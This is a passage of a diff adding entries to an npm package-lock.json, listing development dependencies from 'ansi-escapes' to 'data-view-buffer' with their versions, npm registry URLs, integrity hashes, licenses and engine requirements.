+ "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "type-fest": "^0.21.3"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/ansicolors": {
+ "version": "0.3.2",
+ "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz",
+ "integrity": "sha512-QXu7BPrP29VllRxH8GwB7x5iX5qWKAAMLqKQGWTeLWVlNHNOpVMJ91dsxQAIWXpjuW5wqvxu3Jd/nRjrJ+0pqg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/ansis": {
+ "version": "3.17.0",
+ "resolved": "https://registry.npmjs.org/ansis/-/ansis-3.17.0.tgz",
+ "integrity": "sha512-0qWUglt9JEqLFr3w1I1pbrChn1grhaiAR2ocX1PP/flRmxgtwTzPFFFnfIlD6aMOLQZgSuCRlidD70lvx8yhzg==",
+ "dev": true,
+ "license": "ISC",
+ "engines": {
+ "node": ">=14"
+ }
+ },
+ "node_modules/anynum": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.1.tgz",
+ "integrity": "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/arg": {
+ "version": "4.1.3",
+ "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz",
+ "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+ "dev": true,
+ "license": "Python-2.0"
+ },
+ "node_modules/array-buffer-byte-length": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz",
+ "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "is-array-buffer": "^3.0.5"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array-timsort": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/array-timsort/-/array-timsort-1.0.3.tgz",
+ "integrity": "sha512-/+3GRL7dDAGEfM6TseQk/U+mi18TU2Ms9I3UlLdUMhz2hbvGNTKdj9xniwXfUqgYhHxRx0+8UnKkvlNwVU+cWQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/array-union": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/arraybuffer.prototype.slice": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz",
+ "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "array-buffer-byte-length": "^1.0.1",
+ "call-bind": "^1.0.8",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.5",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.6",
+ "is-array-buffer": "^3.0.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/astral-regex": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz",
+ "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/astring": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/astring/-/astring-1.9.0.tgz",
+ "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==",
+ "dev": true,
+ "license": "MIT",
+ "bin": {
+ "astring": "bin/astring"
+ }
+ },
+ "node_modules/async": {
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
+ "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/async-function": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz",
+ "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/available-typed-arrays": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
+ "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "possible-typed-array-names": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/avsc": {
+ "version": "5.7.9",
+ "resolved": "https://registry.npmjs.org/avsc/-/avsc-5.7.9.tgz",
+ "integrity": "sha512-yOA4wFeI7ET3v32Di/sUybQ+ttP20JHSW3mxLuNGeO0uD6PPcvLrIQXSvy/rhJOWU5JrYh7U4OHplWMmtAtjMg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.11"
+ }
+ },
+ "node_modules/balanced-match": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/base64-js": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+ "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/bl": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
+ "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "buffer": "^5.5.0",
+ "inherits": "^2.0.4",
+ "readable-stream": "^3.4.0"
+ }
+ },
+ "node_modules/brace-expansion": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.2.tgz",
+ "integrity": "sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0"
+ }
+ },
+ "node_modules/braces": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+ "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "fill-range": "^7.1.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/buffer": {
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+ "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "base64-js": "^1.3.1",
+ "ieee754": "^1.1.13"
+ }
+ },
+ "node_modules/call-bind": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.9.tgz",
+ "integrity": "sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "es-define-property": "^1.0.1",
+ "get-intrinsic": "^1.3.0",
+ "set-function-length": "^1.2.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/call-bind-apply-helpers": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+ "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "function-bind": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/call-bound": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+ "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "get-intrinsic": "^1.3.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/call-me-maybe": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-me-maybe/-/call-me-maybe-1.0.2.tgz",
+ "integrity": "sha512-HpX65o1Hnr9HH25ojC1YGs7HCQLq0GCOibSaWER0eNpgJ/Z1MZv2mTc7+xh6WOPxbRVcmgbv4hGU+uSQ/2xFZQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/callsites": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/camel-case": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
+ "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "pascal-case": "^3.1.2",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/camel-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/capital-case": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/capital-case/-/capital-case-1.0.4.tgz",
+ "integrity": "sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "no-case": "^3.0.4",
+ "tslib": "^2.0.3",
+ "upper-case-first": "^2.0.2"
+ }
+ },
+ "node_modules/capital-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/cardinal": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/cardinal/-/cardinal-2.1.1.tgz",
+ "integrity": "sha512-JSr5eOgoEymtYHBjNWyjrMqet9Am2miJhlfKNdqLp6zoeAh0KN5dRAcxlecj5mAJrmQomgiOBj35xHLrFjqBpw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansicolors": "~0.3.2",
+ "redeyed": "~2.1.0"
+ },
+ "bin": {
+ "cdl": "bin/cdl.js"
+ }
+ },
+ "node_modules/chalk": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/chalk?sponsor=1"
+ }
+ },
+ "node_modules/chalk/node_modules/supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/change-case": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz",
+ "integrity": "sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "camel-case": "^4.1.2",
+ "capital-case": "^1.0.4",
+ "constant-case": "^3.0.4",
+ "dot-case": "^3.0.4",
+ "header-case": "^2.0.4",
+ "no-case": "^3.0.4",
+ "param-case": "^3.0.4",
+ "pascal-case": "^3.1.2",
+ "path-case": "^3.0.4",
+ "sentence-case": "^3.0.4",
+ "snake-case": "^3.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/change-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/chardet": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.2.0.tgz",
+ "integrity": "sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/chokidar": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz",
+ "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "readdirp": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 14.16.0"
+ },
+ "funding": {
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/clean-stack": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-3.0.1.tgz",
+ "integrity": "sha512-lR9wNiMRcVQjSB3a7xXGLuz4cr4wJuuXlaAEbRutGowQTmlp7R72/DOgN21e8jdwblMWl9UOJMJXarX94pzKdg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "escape-string-regexp": "4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/cli-cursor": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
+ "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "restore-cursor": "^3.1.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/cli-progress": {
+ "version": "3.12.0",
+ "resolved": "https://registry.npmjs.org/cli-progress/-/cli-progress-3.12.0.tgz",
+ "integrity": "sha512-tRkV3HJ1ASwm19THiiLIXLO7Im7wlTuKnvkYaTkyoAPefqjNg7W7DHKUlGRxy9vxDvbyCYQkQozvptuMkGCg8A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "string-width": "^4.2.3"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/cli-spinners": {
+ "version": "2.9.2",
+ "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz",
+ "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/cli-width": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz",
+ "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==",
+ "dev": true,
+ "license": "ISC",
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/cliui": {
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
+ "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.1",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/clone": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz",
+ "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/co": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
+ "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "iojs": ">= 1.0.0",
+ "node": ">= 0.12.0"
+ }
+ },
+ "node_modules/color": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz",
+ "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "color-convert": "^2.0.1",
+ "color-string": "^1.9.0"
+ },
+ "engines": {
+ "node": ">=12.5.0"
+ }
+ },
+ "node_modules/color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "color-name": "~1.1.4"
+ },
+ "engines": {
+ "node": ">=7.0.0"
+ }
+ },
+ "node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/color-string": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz",
+ "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "color-name": "^1.0.0",
+ "simple-swizzle": "^0.2.2"
+ }
+ },
+ "node_modules/commander": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz",
+ "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/comment-json": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/comment-json/-/comment-json-4.6.2.tgz",
+ "integrity": "sha512-R2rze/hDX30uul4NZoIZ76ImSJLFxn/1/ZxtKC1L77y2X1k+yYu1joKbAtMA2Fg3hZrTOiw0I5mwVMo0cf250w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "array-timsort": "^1.0.3",
+ "esprima": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/concat-map": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/constant-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/constant-case/-/constant-case-3.0.4.tgz",
+ "integrity": "sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "no-case": "^3.0.4",
+ "tslib": "^2.0.3",
+ "upper-case": "^2.0.2"
+ }
+ },
+ "node_modules/constant-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/cosmiconfig": {
+ "version": "9.0.2",
+ "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.2.tgz",
+ "integrity": "sha512-gtTZxTDau1wL7Y7zifc2dd8jHSK/k6BTx/2Xp/BpdlAdnlYWFVt7qhJqgwi7637yRwRQ3qL4ZidbB4I8tA5VOg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "env-paths": "^2.2.1",
+ "import-fresh": "^3.3.0",
+ "js-yaml": "^4.1.0",
+ "parse-json": "^5.2.0"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/d-fischer"
+ },
+ "peerDependencies": {
+ "typescript": ">=4.9.5"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/create-require": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz",
+ "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/cross-spawn": {
+ "version": "7.0.6",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "path-key": "^3.1.0",
+ "shebang-command": "^2.0.0",
+ "which": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/data-view-buffer": {
+ "version": "1.0.2",
